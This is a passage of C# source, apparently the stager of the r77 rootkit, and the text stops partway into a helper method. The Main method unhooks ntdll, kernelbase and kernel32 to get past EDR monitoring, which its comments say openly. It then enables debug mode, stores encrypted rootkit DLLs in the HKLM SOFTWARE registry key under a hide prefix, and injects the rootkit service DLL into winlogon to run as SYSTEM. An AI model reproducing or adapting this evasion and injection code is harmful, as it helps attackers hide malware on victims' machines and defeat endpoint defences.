The target framework is .NET 3.5. Normally, if .NET 4.x is installed, but .NET 3.5 isn't, this executable doesn't start. However, the target framework is not relevant in the powershell context. The executable will run, if *either* .NET 3.5 *or* .NET 4.x is installed. To immediately spot code that is incompatible with .NET 3.5, the target framework is set to .NET 3.5.
()
| 18 | // The executable will run, if *either* .NET 3.5 *or* .NET 4.x is installed. |
| 19 | // To immediately spot code that is incompatible with .NET 3.5, the target framework is set to .NET 3.5. |
| 20 | public static void Main() |
| 21 | { |
| 22 | // Unhook DLL's that are monitored by EDR. |
| 23 | // Otherwise, the call sequence analysis of process injection gets detected and the stager is terminated. |
| 24 | Unhook.UnhookDll("ntdll.dll"); |
| 25 | if (Environment.OSVersion.Version.Major >= 10 || IntPtr.Size == 8) // Unhooking kernel32.dll does not work on Windows 7 x86. |
| 26 | { |
| 27 | Unhook.UnhookDll("kernelbase.dll"); |
| 28 | Unhook.UnhookDll("kernel32.dll"); |
| 29 | } |
| 30 | |
| 31 | Process.EnterDebugMode(); |
| 32 | |
| 33 | // Write r77-x86.dll and r77-x64.dll to the registry. |
| 34 | // Install.exe could also do this, but .NET has better compression routines. |
| 35 | using (RegistryKey key = Registry.LocalMachine.OpenSubKey("SOFTWARE", true)) |
| 36 | { |
| 37 | key.SetValue(R77Const.HidePrefix + "dll32", Decompress(Decrypt(Resources.Dll32))); |
| 38 | key.SetValue(R77Const.HidePrefix + "dll64", Decompress(Decrypt(Resources.Dll64))); |
| 39 | } |
| 40 | |
| 41 | // Get r77 service DLL. |
| 42 | byte[] payload = Decompress(Decrypt(IntPtr.Size == 4 ? Resources.Service32 : Resources.Service64)); |
| 43 | |
| 44 | // Inject the r77 service DLL into the a suitable process running under the SYSTEM user. |
| 45 | int processId = Process.GetProcessesByName("winlogon")[0].Id; |
| 46 | Inject.InjectDll(processId, payload); |
| 47 | } |
| 48 | |
| 49 | private static byte[] Decompress(byte[] data) |
| 50 | { |